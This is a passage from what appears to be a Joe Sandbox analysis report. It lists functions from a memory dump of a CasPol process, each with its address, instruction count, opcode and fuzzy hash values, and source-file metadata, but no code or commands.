Opcode ID: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
Instruction ID: 12ce7226666b9daa58de0cbcef8990fe129222fe1d53c7ca17f53c21015dfb0e
Opcode Fuzzy Hash: 2963604b138b45d82781e0a3e479f75d70978de019cd50ff7a7906112cbdd64f
Instruction Fuzzy Hash: 90318BB160824ADFCB01DF18D88099A7BE9FF99354F01096AFC559B3A1DA34DC01CBA2

Function 0154C156 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb01a11dfff3598af596358b69f070dc1c231e4f54aaf54333672ec3425fd784
Instruction ID: f0e0be937ebd39e95060853434b8ab31bf4651290541f3d305b4e4ae5055ae9d
Opcode Fuzzy Hash: eb01a11dfff3598af596358b69f070dc1c231e4f54aaf54333672ec3425fd784
Instruction Fuzzy Hash: 17315BB15002118BD735BF58CC50B6D7BB4BF91314F8481A9DD459F742DA74D981CB90

Function 0160C3CD Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
Instruction ID: 477d954f3ffba56406e9c03b47d15b75853d369d48ac85cc11baaf44f57fd95a
Opcode Fuzzy Hash: 7f3ac7f511b12b6545c220c591282cbbe50732f4b841637f95eeaa606406b8f4
Instruction Fuzzy Hash: 13212B36601657A7CB1AAB958C00BBFBBB5FF90710F41815EFA958B6D2E734D940C3A0

Function 0154E420 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3c1fcc8215d1588ce1a864e67c494532062e2f567269b56bbfcfa20c7bdf02d
Instruction ID: cba7084c573857a5a29a9a33f6ed363efdcbef91fbed7b982a186471947f711b
Opcode Fuzzy Hash: a3c1fcc8215d1588ce1a864e67c494532062e2f567269b56bbfcfa20c7bdf02d
Instruction Fuzzy Hash: F131D631A0011D9BDB31DF28CC42FEE77B9FB55754F0104A1E645AF290D6789E818F90

Function 01584588 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
Instruction ID: 047db93ff2baa2ef795ca5ba9fa60c38e8a4dc8f83da806cdd087d0514684302
Opcode Fuzzy Hash: 889ecffd1a06a090bd79871a4c0fdf01ee42b751b4f666e31dccfc06bb2b9632
Instruction Fuzzy Hash: AB219135A0074AEFCB11DF59C980A8EBBB9FF48318F118069EE15AF241D671EE05CB90

Function 015844B0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b482e38dccb7ab966e170a8532ff9d570996213feff4c622d663be0e9e63c936
Instruction ID: 4190b8c6af89912cc743799662a5b5b1be88ee24ec6a39847f2ebe2615f47085
Opcode Fuzzy Hash: b482e38dccb7ab966e170a8532ff9d570996213feff4c622d663be0e9e63c936
Instruction Fuzzy Hash: D1218F726047469BCB22EF58C880B6F77E8FB88760F054919FD58AF641D730E901CBA2

Function 0154E388 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
Instruction ID: 1fc647add91afcb3328f28757dbe84992e8345ef5c666e87cdd7f6547bab462c
Opcode Fuzzy Hash: 0cf2ef89ce765565c41e30a718174bbd4c2b265194fcbe27392bd3351cdfdb09
Instruction Fuzzy Hash: 69317A31600605EFD722DFA8C885F6AB7F9FF85358F1049A9E6528B691E734EE01CB50

Function 0158D530 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92e7483ad7e50e44df6529ce6e6e2051deef46d89da7b77004ef264f242dcc23
Instruction ID: a79188e814b61da4301689ee2ccab7a6b41f2192d88032d3310a193617fb83a7
Opcode Fuzzy Hash: 92e7483ad7e50e44df6529ce6e6e2051deef46d89da7b77004ef264f242dcc23
Instruction Fuzzy Hash: A421A6715043169BD721FFA9DD44B5B7BF8BBA5654F00081ABA45AF290EA30DC14C7E2

Function 0157F32A Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
Instruction ID: d15dd59c4be2342be5f002d50e180d97bab41216ec968ec3309920403859b106
Opcode Fuzzy Hash: e1acee25a86a18db778833508db53c8429f7f2c8d9f42c0ea70f9f679245ea3d
Instruction Fuzzy Hash: 64219272201201DFD719DF19D442B6ABBE9FF95365F15416EE11A8F290EB70E801CB94

Function 015D019F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19f6613dc4429f2926b4348b0b526516d4a198aedfaa4bf680f0f64d36fa5b19
Instruction ID: 8fec1202119dff37dfa490c49d254d81447ba49e676ea29d9fcce59520c6f6ea
Opcode Fuzzy Hash: 19f6613dc4429f2926b4348b0b526516d4a198aedfaa4bf680f0f64d36fa5b19
Instruction Fuzzy Hash: 96219C71600646AFDB25DBADCC44F6AB7B8FF98780F140069F904DB690D634ED50CBA8

Function 015D0283 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7785f3fb27cd22498ecc34223a81d41fc966f0b6cd9cc99265716accfe3dd42
Instruction ID: dcad2a9f69b731cd9f0de4bd6223d6c5c0716a41b8ec4b66b0e65d6f72c0bc18
Opcode Fuzzy Hash: a7785f3fb27cd22498ecc34223a81d41fc966f0b6cd9cc99265716accfe3dd42
Instruction Fuzzy Hash: 0F219D729052469BD721EF5DD848B5BBBECBFA1250F080856B9848F291DA34D908C7A2

Function 0158A30B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e36730b16d1cf1ee78b273778ff6302b3e7d02920394de6ebb8a515dbc6c5226
Instruction ID: 52b2dee6a366d5e7343a879ae7bc7ec8a2968c7da2cb1d019541e179edbab47b
Opcode Fuzzy Hash: e36730b16d1cf1ee78b273778ff6302b3e7d02920394de6ebb8a515dbc6c5226
Instruction Fuzzy Hash: 7121A979200A02AFDB25DF29CC01B56B7F5BF58B04F24846DA509CFB61E771E942CB94

Function 015715A9 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
Instruction ID: de91f1b3283d63cec255a9010846c351ba0f4ecad57da42efc934f8f1ff2542c
Opcode Fuzzy Hash: 29802a1ca24c6965babefc6623953e4fc32110ab479eab20bfca4cc576a297b9
Instruction Fuzzy Hash: 7A210571601A86DFE7268B5DD9C4BA97BE9FF50380F1904A1ED058F292E738DC40CB50

Function 01580124 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
Instruction ID: 0f51c77997d5e96847dcf98d6b033b89ef5a58bf0b5b8e809adb8ff6e28cf05d
Opcode Fuzzy Hash: bd8ac78140f895066083d1addf409b64165891323dc0076c6e3fdac533eabcce
Instruction Fuzzy Hash: 9511B273601606AFD722AF54CC81F9EBBB9FB84764F104429F604AF190D671ED48CB60

Function 015580E9 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6367e8c3c0148be775038f6f244908b78bd991e9d06a8d0b9f962e8933959ed
Instruction ID: 6961c6e9c5f8f629d8241d45a09e82fd64ca68ce3e3f2045f9fbad0c9a2a8fe9
Opcode Fuzzy Hash: a6367e8c3c0148be775038f6f244908b78bd991e9d06a8d0b9f962e8933959ed
Instruction Fuzzy Hash: F1219D35A00206DFCB14CF99C590AAEBBF5FB88318F20416ED505AB310CB71AD06CBD0

Function 0158674D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a655cf6d93760e0bfb69de1b41e625cde93d9feff95d8ade4e3211decd5029
Instruction ID: a95788a6da738e8a493f79497794070bd803de0eae075daaabb163a3fd390093
Opcode Fuzzy Hash: a8a655cf6d93760e0bfb69de1b41e625cde93d9feff95d8ade4e3211decd5029
Instruction Fuzzy Hash: A9215C75610A01EFD720AF69C881F66B7E8FF84650F44882DE59ADB251EA70A850CBA1

Function 01549240 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8acf4da306177a287b97765ab1e48daf79944d3c7e5eeae0563b668b391603b
Instruction ID: 180f0b934217775cc4f075ec3cb00eea01b7e2c03807df35e67535323fccc2fb
Opcode Fuzzy Hash: b8acf4da306177a287b97765ab1e48daf79944d3c7e5eeae0563b668b391603b
Instruction Fuzzy Hash: D811047E021216EBE7319F55DC01AB63BF8FBA9B84F505025E8049B358E734DD11CB65

Function 0157B052 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970a944eb27089a189252c5a9e12789ee87d52e513b107eef530e333077b1d57
Instruction ID: 0438188a149318d7547820fd25c89d84ed2544636644fc2081b03e33dcdb5bae
Opcode Fuzzy Hash: 970a944eb27089a189252c5a9e12789ee87d52e513b107eef530e333077b1d57
Instruction Fuzzy Hash: 2D01B9727003466FD711AB6AAC82FAFB7E8FFD4614F040469E705DB241D774E9018661

Function 01547330 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adaad5e6547c35c472ea7e6f6ecb7601689602484c3ea69ab3610752e6b33d7d
Instruction ID: be4215f7c0b9721418e7018a3d0639c37f7d6118d341289636b774509d940332
Opcode Fuzzy Hash: adaad5e6547c35c472ea7e6f6ecb7601689602484c3ea69ab3610752e6b33d7d
Instruction Fuzzy Hash: E911A0726006159FE721CF68C842B6B77F8FB48358F114829EA85CB211D735EC00CBA1

Function 0157E53E Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
Instruction ID: 4074fd7bcae7896d75bc8b41bb61fa69042302f01b72d7c61b88d54d6456023c
Opcode Fuzzy Hash: 3cef38ccb94af525019048e13b43edf7cf1492b2ee9bf366ac8f969377c4ca22
Instruction Fuzzy Hash: AA11E1722017C69BE723972CDD95BAD3BE8FB41788F1904E2DE418F682F328D842C250

Function 0157F2D0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cecdd3242b3f61e3e8e34564ae1f8a2fd79de7c3557834f27f5e60b02a11c68
Instruction ID: e3e19360f4be5f6099163dd46d91fd72225e3e323f5ccc3c0b08eaf558a92f43
Opcode Fuzzy Hash: 2cecdd3242b3f61e3e8e34564ae1f8a2fd79de7c3557834f27f5e60b02a11c68
Instruction Fuzzy Hash: 9011EC75600649DFCB20DFA9D884BAEBBB8FB84A00F05006AEA05AB281DA38D901C750

Function 015E72A0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
Instruction ID: 670dc75900e162840d45efd88db36a7df135f795c636ec276010814d63fc2b90
Opcode Fuzzy Hash: 1e850f2c6b8a62aa57273bc2e4efeca7cc81b0ea7f022921ea7aa6f1d3ab38ae
Instruction Fuzzy Hash: 00019272140507BFEB15AF56CC84E66FBAEFFA47A0F404525F2544A560C721ACA0CAE4

Function 0154A250 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
Instruction ID: 732ab8560962c21271bdb87589d522cc38f223e6f7f80c06bd1a69b43c65b5e0
Opcode Fuzzy Hash: 3c789e6569c780a36f7740ae573b44e677a8d28900b05b280d318a59104278c5
Instruction Fuzzy Hash: AF012631548722ABDB718F19D840A367BF8FF55764700892DFC968F281D331D800DBA0

Function 01556259 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72c2b4e5c2aff044e61e9e8df9e942696572f8c9771e40ecc66b650a0dd18e4d
Instruction ID: 274ead4d982bd25510f455715396775044c2d9f2682109b849dad5ab9a9fafc6
Opcode Fuzzy Hash: 72c2b4e5c2aff044e61e9e8df9e942696572f8c9771e40ecc66b650a0dd18e4d
Instruction Fuzzy Hash: DF115A7054222AABEF65AB64CC52FE9B2B5BF44710F504195A718AA0E0DA709E81CF85

Function 0155208A Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
Instruction ID: b1c328d9194effdee270f5f5ec2ca25e742781de0166c52600f586824c3c6143
Opcode Fuzzy Hash: cec1b93156338fd1fb8a58b034706470ae4e768dca4fd24834b6fe138f7a55f1
Instruction Fuzzy Hash: DB012432202111DBEF519A2DD890F9EB7ABBFC4700F5544AAED058F266DB71DC81C790

Function 0154C020 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
Instruction ID: 2c0548f1496a934d4a3919579eadffc864fbb064da7b5038ae2c0acf979b10ea
Opcode Fuzzy Hash: dec391378cc995e4bcc1589e6a6118842a70016cea674f56f99eea4ad8bc76d4
Instruction Fuzzy Hash: 5301B5321007069FEB22E6A9D840EAF77F9FFD9254F448819A69A8F940DE70E401CB60

Function 015920F0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bedde6991ca133f8b1936d06464ce63caa8e05c6231cf345c878a3e6094e40ba
Instruction ID: aa6ec8d6cdb4d66cda170fcbf649a52ac65e368f90d268b9d8b94c10fedeecb1
Opcode Fuzzy Hash: bedde6991ca133f8b1936d06464ce63caa8e05c6231cf345c878a3e6094e40ba
Instruction Fuzzy Hash: B7116D75A0120EAFCF15EFA4C850AAE7BB5FB84684F004059E9059B250E735AE11CB91

Function 0158E5CF Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c345befc1aceb75cf50ed26b826eb08051da4737c3bac2df71135a836429f1
Instruction ID: 94fe19a114731cc45c86b0220fad335e8194833e2f58d429a82f40ca1a693988
Opcode Fuzzy Hash: 57c345befc1aceb75cf50ed26b826eb08051da4737c3bac2df71135a836429f1
Instruction Fuzzy Hash: F50184B1201643BFE311AB69CD44E57B7BCFF95764B000629B1098B551DB24EC11C6F0

Function 01549353 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
Instruction ID: 25ad6dfec4234248760c4d906a9de65bbfb19b31c035d3629500574112a4a38b
Opcode Fuzzy Hash: 16eb1e9227c9ca53ee971aeba792c6b4be561f846bb8a1c766c052503132072f
Instruction Fuzzy Hash: 9311AD32410B02DFE7329F19C880B26B7E4BF9976AF15C86CE4894F4A6C774E880CB50

Function 0158D1D0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
Instruction ID: 2519d987fa7efe443a58edc3223859927e150353e695d131e3626912e552daa6
Opcode Fuzzy Hash: 2103513d2fbd223765d54b27d59d1ce24549dd4e977acd5ce3c70b0a80ca45ab
Instruction Fuzzy Hash: 6801F772A015059BDB21AA98E800F6DB7F9FBD4A34F108259FE169F2C0DB74D901C795

Function 015733A5 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
Instruction ID: 9e3c09aede798dd4d7110444fd68098408fc07d081add461af543d50d0b9bac5
Opcode Fuzzy Hash: 5807426d3854de8340053ba828383e613f6f2126caef2cc0c9319ce74fae2529
Instruction Fuzzy Hash: 9B01D676300106ABCB569EAAED05E5F7EADBF84660B1444A9BA05DF120EA30DD01D760

Function 0160F5BE Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12cd6a9d3f8b4c2237896fa9aeb834f188a6c58869a39609a07d772d71f94a8
Instruction ID: fc877d2e0222fee272df0e4f19d3f7d13b3bac30dd77ef6393eae4b67827ae97
Opcode Fuzzy Hash: b12cd6a9d3f8b4c2237896fa9aeb834f188a6c58869a39609a07d772d71f94a8
Instruction Fuzzy Hash: 9F019E70A10249EFCB14EFA9DC41FAEBBB8FF84300F044066B900EB280D674DA01CB91

Function 0160F453 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f6ce0960bb4e07d262179a2ed8ce0647a178ff5beebec2321f24e60d2fb8c72
Instruction ID: 2688964773fa0eca4f1d5f08c9f1ff826b5270a41c198c5027642b8754cb272c
Opcode Fuzzy Hash: 4f6ce0960bb4e07d262179a2ed8ce0647a178ff5beebec2321f24e60d2fb8c72
Instruction Fuzzy Hash: 49019E71A00249AFCB14EFA9D841FAEBBB8FF84310F004066B900EB381D674DA01CB91

Function 0156E016 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
Instruction ID: 4a25b4798f192ee814f8e835620cc7f6e9be21c770262cf3860daff979b2abca
Opcode Fuzzy Hash: 0b4e63a3af2f36388c19bb01a8158bbf85eee50dbe01f6888877beb839016758
Instruction Fuzzy Hash: E2017C32245591DFE322C61DC948F2E7BECFB947A4F0904A2F905CF691D628DC40C6A1

Function 0154826B Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec5589acb16d6788c32df06aa74aa2be8b6fbd4daaf231bc93838cad3cb0c5f9
Instruction ID: 02c702ce89b51081ef7523de7c3c48a1a3e76ac14845d03ca6c456914beff653
Opcode Fuzzy Hash: ec5589acb16d6788c32df06aa74aa2be8b6fbd4daaf231bc93838cad3cb0c5f9
Instruction Fuzzy Hash: BD018F32B04916DFDB14EBAADC449AE7BE9FF80214B1940699902AF780EE30DD01C791

Function 0160F367 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f35a4df23c6b37e1fe7d4aed194dd3bbaa2960458e21ecdb7cad11cf349bf7
Instruction ID: 4c884d973ac02eb30008f65176d1ed80537da8263cb0485fbad2a487f77b90db
Opcode Fuzzy Hash: c3f35a4df23c6b37e1fe7d4aed194dd3bbaa2960458e21ecdb7cad11cf349bf7
Instruction Fuzzy Hash: A901BC71A00259EBDB14EBA9DC15FAFBBB8FF94700F00406AA900EB280D6B4D901C790

Function 01552582 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd685e683717e41216baef3a3934e3fb244e0790b49412103eedc232ae9dfc38
Instruction ID: 98e3e871421d33a5d8fdaf255dcc8c6015333719cdb749d6b66d9da79e60ac31
Opcode Fuzzy Hash: bd685e683717e41216baef3a3934e3fb244e0790b49412103eedc232ae9dfc38
Instruction Fuzzy Hash: DDF0D632641611A7C7369A568C50F0B7AADFBC4B94F004429AA099F640DA30DD01C7E0

Function 01625152 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ece88123bd7ca9f46d0195783a1ab102b6b587d41ba2f32cfd5f5ba1df1bcbc
Instruction ID: e96de4f9844acdf03a57e4202e1954e42ee833694760103f86d4a33ba8a6d9c7
Opcode Fuzzy Hash: 3ece88123bd7ca9f46d0195783a1ab102b6b587d41ba2f32cfd5f5ba1df1bcbc
Instruction Fuzzy Hash: BE012C71A1025AAFDB00DFA9D9559EEBBF8FF98344F10405AE905EB340D774EA01CBA1

Function 01625060 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2507714172.0000000001520000.00000040.00001000.00020000.00000000.sdmp, Offset: 01520000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1520000_CasPol.jbxd

Similarity

